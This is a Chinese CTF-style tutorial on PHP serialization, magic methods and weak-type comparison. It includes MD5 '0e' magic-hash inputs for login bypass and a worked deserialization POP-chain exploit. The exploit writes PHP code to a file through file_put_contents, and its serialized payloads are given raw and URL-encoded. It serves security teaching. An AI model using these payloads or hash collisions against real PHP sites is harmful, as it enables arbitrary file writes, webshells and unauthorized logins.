序列化定义
php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。将php中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中,而反序列化就是将这个过程倒过来。
php序列化的函数为serialize。反序列化的函数为unserialize。
序列化serialize()
当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;
<?php
class Person{
public $name = "Tom";
private $age = 20;
protected $sex = "nan";
public function hello(){
echo "hello";
}
}
$class = new Person();
$classSer = serialize($class);
echo $classSer;
输出:
O:6:“Person”:3:{s:4:“name”;s:3:“Tom”;s:11:“Personage”;i:20;s:6:“*sex”;s:3:“nan”;}
根据成员变量的修饰类型不同,在序列号中的表示方法也有所不同。可以看到代码中三个修饰类型分别是public、private、protected
public 没有变化
private 会变成%00类名%00属性名
protected 会变成%00*%00属性名
%00为空白符,空字符也有长度,一个空字符长度为1,%00虽然不会显示,但是提交还是要加上去。
总结:一个类经过序列化后存储在字符串的信息只有 类名称 和 类内成员属性键值对,序列化字符串中没有将类方法一并序列化。
反序列化unserialize()
<?php
class Person{
public $name = "Tom";
private $age = 20;
protected $sex = "nan";
public function hello(){
echo "hello";
}
}
$class = new Person();
$classSer = serialize($class);
$un = unserialize($classSer);
var_dump($un);
可以看到类的成员变量被还原了,但是类方法没有被还原,因为序列化的时候就没保存方法。
魔术方法
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用
__invoke 对象当作函数调用时被调用
__call 调用不可访问的方法时
__callStatic 在静态上下问中调用不可访问的方法时触发
__isset 在不可访问的属性上调用isset()或empty()触发
__unset 在不可访问的属性上使用unset()时触发
__set 用于将数据写入不可访问的属性
__get 用于从不可访问的属性读取数据
还有很多特殊不常见的方法
具体参考:https://www.php.net/manual/zh/language.oop5.magic.php
ctf web题中常见的弱类型比较
在ctf web代码审计的题目中,php弱类型比较是经常需要用到的。
弱等于== 在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。
强等于=== 在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等,它既比较值也比较类型。
【注】当要比较的两种字符串的类型相同时,== 和 === 是相等的。
php弱比较的转换规则
1.若一个数字和一个字符串进行比较或者进行运算时,PHP 会把字符串转换成数字再进行比较。若字符串以数字开头,则取开头数字作为转换结果(例如 “aaa” 是不能转换为数字的字符串,而 “123” 或 “123aa” 就是可以转换为数字的字符串),而对于不能转换为数字的字符串或 null,则转换为0
2.布尔值 true 和任意字符串都弱相等,例如:
<?php
var_dump(true=="whoami"); //true
?>
3.数字和“e“开头加上数字的字符串(例如”1e123”)会当作科学计数法去比较;同时留意0eXXXXX类型的字符串,所以无论0e后面是什么,0 的多少次方还是 0
【MD5弱碰撞】 PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
md5为0e开头的值
QNKCDZO
0e830400451993494058024219903391s878926199a
0e545993274517709034328855841020s155964671a
0e342768416822451524974117254469s214587387a
0e848240448830537924465865611904s214587387a
0e848240448830537924465865611904s878926199a
0e545993274517709034328855841020s1091221200a
0e940624217856561557816327384675
源码:
<?php
error_reporting(0);
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
} function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = $filename;
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
echo "now filename is ".$this->filename."<br/>";
echo "now txt is ".$txt."<br/>";
file_put_contents( $this->filename, $txt);
}
};
class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};
class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url, $logger) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = null;
$this->logger = $logger;
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};
unserialize($_GET[1]);
总体分析:
经源码阅读,找到在类LogWriter_File中存在一个有参函数writeLog调用了一个危险函数file_put_contents($filename, $txt);(该函数可以执行写入一句话木马操作), 并且发现在类Lyrics中存在一个析构函数__destrcut。利用析构函数对象销毁时自动调用的特性,将其作为构建恶意payload的突破口,判断能否通过Lyrics类对象去调用 LogWriter_File类对象中的writeLog函数,从而调用file_put_contents函数写入一句话木马。
poc链构建分析:
LogWriter_File --> writeLog()调用了file_put_contents()
1.我们能否调用LogWriter_File类中的writeLog方法
2.危险函数file_put_contents写入的文件名和文件内容是否可控
问题转化成,能否调用LogWriter_File类中的writeLog()方法?
然后发现Logger类中的一个带参数的log方法,该方法调用了writeLog方法
$this->logwriter->writeLog($txt);
$this->logwriter能否是一个LogWriter_File类型的对象
问题转化成,能否调用Logger类中的带参方法log() ?
然后发现在Song类中的一个无参的log方法,该方法调用了一个有参log方法
$this->logger->log(“Song " . $this->name . " by [i]” . $this->group . “[/i] viewed.\n”);
$this->logger能否是一个Logger类型的对象
问题转化成,能否调用Song类中的无参log()方法?
然后发现在Lyrics类中的析构函数调用了一个无参log()方法
$this->song->log();
$this->song能否是一个Song类型的对象
至此,我们只需要构建一个Lyrics类型的对象,利用该类型对象中析构函数的对象销毁自动调用的特点去一步步的构建反序列化链达到文件写入的目的。
先构建如下代码,得到构建的代码的序列化后的字符序列,再将得到的字符序列反序列化查看是否能够成功调用的file_put_contests函数写入文件。
$logWriterFile = new LogWriter_File('1.txt', '<?php phpinfo(); ?>');
$logger = new Logger($logWriterFile);
$song = new Song('name', 'group', 'url', $logger);
$lyrics = new Lyrics('lyrics', $song);
echo urlencode(serialize($lyrics));
//unserialize($_GET['1']);
得到的经url编码后的字符序列为:
O%3A6%3A%22Lyrics%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00lyrics%22%3Bs%3A6%3A%22lyrics%22%3Bs%3A7%3A%22%00%2A%00song%22%3BO%3A4%3A%22Song%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00logger%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A14%3A%22LogWriter_File%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A5%3A%221.txt%22%3Bs%3A9%3A%22%00%2A%00format%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22name%22%3Bs%3A8%3A%22%00%2A%00group%22%3Bs%3A5%3A%22group%22%3Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A3%3A%22url%22%3B%7D%7D
再将其反序列化查看能否成功调用到LogWriter_File类中有参函数writeLog中的file_put_contents函数。
经调试发现,成功调用到了LogWriter_File类中的有参函数writeLog,但并未到达file_put_contents函数。
进一步分析构建poc链:
查看LogWriter_File类中的代码发现,在LogWriter_File类中的writelog有参方法中,使用了$this->format->format($txt);来处理参数$txt
$txt = $this->format->format($txt);
$this->format是否是我们可控的?(通过反序列化可以控制类中的成员属性)
在类LogFileFormat中存在一个带参的format方法
1.该类中的format是否调用了其他方法?
2.如何调用该类中的format方法?(通过LogWriter_File类中的writelog方法中的$this->format成员属性调用)
然后发现,该format方法中遍历了该类的成员属性
在OutputFilter类中存在一个带参的filter方法,在该类中。我们可以通过反序列化控制该类的成员属性 $matchPattern 和 $replacement 从而控制该类中filter函数中的preg_replace函数返回的内容。
通过以上分析,构建如下代码:
$outputfilter = new OutputFilter('/.*/', '<?php phpinfo(); ?>');
$logfileformat = new LogFileFormat(array($outputfilter), ' ');
$logWriterFile = new LogWriter_File('20220802.txt', $logfileformat);
$logger = new Logger($logWriterFile);
$song = new Song('name', 'group', 'url', $logger);
$lyrics = new Lyrics('lyrics', $song);
echo urlencode(serialize($lyrics));
//unserialize($_GET['1']);
最终构建的poc链为:
O:6:“Lyrics”:2:{s:9:“*lyrics”;s:6:“lyrics”;s:7:“*song”;O:4:“Song”:4:{s:9:“*logger”;O:6:“Logger”:1:{s:12:“*logwriter”;O:14:“LogWriter_File”:2:{s:11:“*filename”;s:12:“20220802.txt”;s:9:“*format”;O:13:“LogFileFormat”:2:{s:10:“*filters”;a:1:{i:0;O:12:“OutputFilter”:2:{s:15:“matchPattern";s:4:"/./”;s:14:“*replacement”;s:19:“”;}}s:7:“*endl”;s:1:" “;}}}s:7:”*name";s:4:“name”;s:8:“*group”;s:5:“group”;s:6:“*url”;s:3:“url”;}}
url编码后的poc链:
O%3A6%3A%22Lyrics%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00lyrics%22%3Bs%3A6%3A%22lyrics%22%3Bs%3A7%3A%22%00%2A%00song%22%3BO%3A4%3A%22Song%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00logger%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A14%3A%22LogWriter_File%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A12%3A%2220220802.txt%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A13%3A%22LogFileFormat%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22OutputFilter%22%3A2%3A%7Bs%3A15%3A%22%00%2A%00matchPattern%22%3Bs%3A4%3A%22%2F.%2A%2F%22%3Bs%3A14%3A%22%00%2A%00replacement%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A1%3A%22+%22%3B%7D%7D%7Ds%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22name%22%3Bs%3A8%3A%22%00%2A%00group%22%3Bs%3A5%3A%22group%22%3Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A3%3A%22url%22%3B%7D%7D
将上述poc链经url编码后以get方式上传,成功写入文件